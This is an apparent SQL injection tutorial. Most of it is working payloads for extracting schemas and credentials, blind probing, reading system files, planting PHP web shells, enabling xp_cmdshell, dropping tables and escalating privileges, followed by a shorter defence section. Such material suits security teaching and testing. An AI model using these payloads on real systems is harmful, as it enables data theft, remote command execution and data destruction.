Intermediate Level

Advanced Attack Techniques

UNION-based Injections in Detail

Steps for a successful UNION-based attack:

1. **Determine the number of columns in the original query (using ORDER BY or UNION tests)**
2. **Identify which columns can hold string data**
3. **Construct a UNION query to extract data**

Example:

sql

' ORDER BY 1-- (works)

' ORDER BY 2-- *(works)*

' ORDER BY 3-- (error → confirms 2 columns)

' UNION SELECT 1,2--

' UNION SELECT database(),version()--

Extracting Database Information

Schema information queries for different databases:

MySQL/MariaDB:

sql

' UNION SELECT table_name,column_name FROM information_schema.columns WHERE table_schema=database()--

SQL Server:

sql

' UNION SELECT table_name,column_name FROM information_schema.columns--

Oracle:

sql

' UNION SELECT table_name,column_name FROM all_tab_columns--

PostgreSQL:

sql

' UNION SELECT table_name,column_name FROM information_schema.columns--

Blind SQL Injection Techniques

Boolean-based blind:

sql

' AND (SELECT 'x' FROM users LIMIT 1)='x'-- (true condition)

' AND (SELECT 'x' FROM non_existent_table LIMIT 1)='x'-- *(false condition)*

' AND ASCII(SUBSTRING((SELECT username FROM users LIMIT 1), 1, 1)) > 97--

Time-based blind:

sql

-- *MySQL*

' AND IF(1=1, SLEEP(5), 0)--

-- PostgreSQL

' AND SELECT CASE WHEN (1=1) THEN pg_sleep(5) ELSE pg_sleep(0) END--

-- *SQL Server*

' IF 1=1 WAITFOR DELAY '0:0:5'--

-- Oracle

' AND DBMS_PIPE.RECEIVE_MESSAGE('a',5)=0--

Reading Files and Writing Files

MySQL file operations:

sql

' UNION SELECT LOAD_FILE('/etc/passwd'),1--

' UNION SELECT 1,'<?php system($_GET["cmd"]); ?>' INTO OUTFILE '/var/www/html/shell.php'--

PostgreSQL file operations:

sql

' CREATE TABLE temp(data text); COPY temp FROM '/etc/passwd'; SELECT * FROM temp;--

' COPY (SELECT '<?php system($_GET["cmd"]); ?>') TO '/var/www/html/shell.php'--

Database-Specific Techniques

MySQL/MariaDB

1. **Information gathering:**

sql

' UNION SELECT @@version,@@datadir--

' UNION SELECT user(),database()--

' UNION SELECT table_schema,table_name FROM information_schema.tables WHERE table_schema != 'mysql' AND table_schema != 'information_schema'--

2. **Advanced functions:**

sql

' UNION SELECT GROUP_CONCAT(column_name),1 FROM information_schema.columns WHERE table_name='users'--

' AND EXISTS(SELECT 1 FROM users WHERE username='admin' AND SUBSTRING(password,1,1)='a')--

3. **System variable manipulation:**

sql

' UNION SELECT variable_name,variable_value FROM information_schema.global_variables--

SET global general_log = 'ON';

SET global general_log_file = '/var/www/html/shell.php';

Microsoft SQL Server

1. **System stored procedures:**

sql

'; EXEC sp_configure 'show advanced options', 1; RECONFIGURE; EXEC sp_configure 'xp_cmdshell', 1; RECONFIGURE;--

'; EXEC xp_cmdshell 'whoami'--

2. **Stacked queries for operations:**

sql

'; INSERT INTO users (username, password) VALUES ('hacker','password123');--

'; DROP TABLE users;--

3. **Linked servers:**

sql

'; EXEC('SELECT * FROM OPENROWSET(''SQLOLEDB'', ''Server=linked_server;Trusted_Connection=yes'', ''SELECT 1;exec sp_configure ''''xp_cmdshell'''',1;reconfigure--'')')--

Oracle

1. **PL/SQL injection:**

sql

' || DBMS_PIPE.RECEIVE_MESSAGE('A',10)--

' UNION SELECT SYS.DATABASE_NAME FROM DUAL--

' UNION SELECT owner,table_name FROM all_tables--

2. **Privilege escalation:**

sql

' UNION SELECT username,password FROM DBA_USERS--

' BEGIN EXECUTE IMMEDIATE 'GRANT DBA TO current_user'; END;--

PostgreSQL

1. **Function creation:**

sql

'; CREATE OR REPLACE FUNCTION system(cstring) RETURNS int AS '/lib/x86_64-linux-gnu/libc.so.6', 'system' LANGUAGE 'c' STRICT;--

'; SELECT system('id > /tmp/output.txt');--

2. **Large object operations:**

sql

'; SELECT lo_import('/etc/passwd', 12345);--

'; SELECT lo_get(12345);--

Defense in Depth Strategies

1. **Web Application Firewalls (WAF): ModSecurity, NAXSI, AWS WAF**
    - **Rule configuration examples:**
2. **# ModSecurity rule example**
3. **SecRule ARGS "@rx (?i:(?:select|union|insert|update|delete|replace|truncate).*(?:from|into|where))" **

"id:1000,phase:2,t:none,t:urlDecodeUni,block,msg:'SQL Injection Attack'"

4. **ORM Security Best Practices:**
    - **Enforce query parameterization:**

python

 # Python SQLAlchemy example

users = session.query(User).filter(User.username == username).all() ***# Safe***

 # Avoid raw SQL execution:

session.execute(f"SELECT * FROM users WHERE username = '{username}'") ***# Unsafe***

5. **Content Security Policy:**

Content-Security-Policy: script-src 'self'; object-src 'none';

6. **Database Activity Monitoring:**
    - **Set up triggers for sensitive tables**
    - **Example MySQL trigger:**

sql

```
CREATE TRIGGER audit_trail AFTER INSERT ON users
FOR EACH ROW
INSERT INTO audit_logs (action, table_name, user, timestamp)
VALUES ('INSERT', 'users', USER(), NOW());
```

Testing Methodologies

1. **Manual testing process:**
    - **Identify input vectors**
    - **Determine database type (using errors or version queries)**
    - **Test with basic payloads to confirm vulnerability**
    - **Map database schema**
    - **Extract or manipulate targeted data**
2. **Automated testing with SQLmap:**

bash

```
# Basic scan
sqlmap -u "http://vulnerable-site.com/page.php?id=1" --dbs

# Advanced options
sqlmap -u "http://vulnerable-site.com/page.php?id=1" --cookie="PHPSESSID=1234" --level=5 --risk=3 --dbs --tables --dump
```

3. **Custom scripts for verification:**

python

```
import requests

def test_injection(url, param, payload):
    r = requests.get(url, params={param: payload})
    return "admin@example.com" in r.text
```

```
url = "http://vulnerable-site.com/page.php"
param = "id"
payload = "1' UNION SELECT 1,2,3,4,5,concat(username,':',email) FROM users-- -"

if test_injection(url, param, payload):
    print("Vulnerable to SQL injection!")
```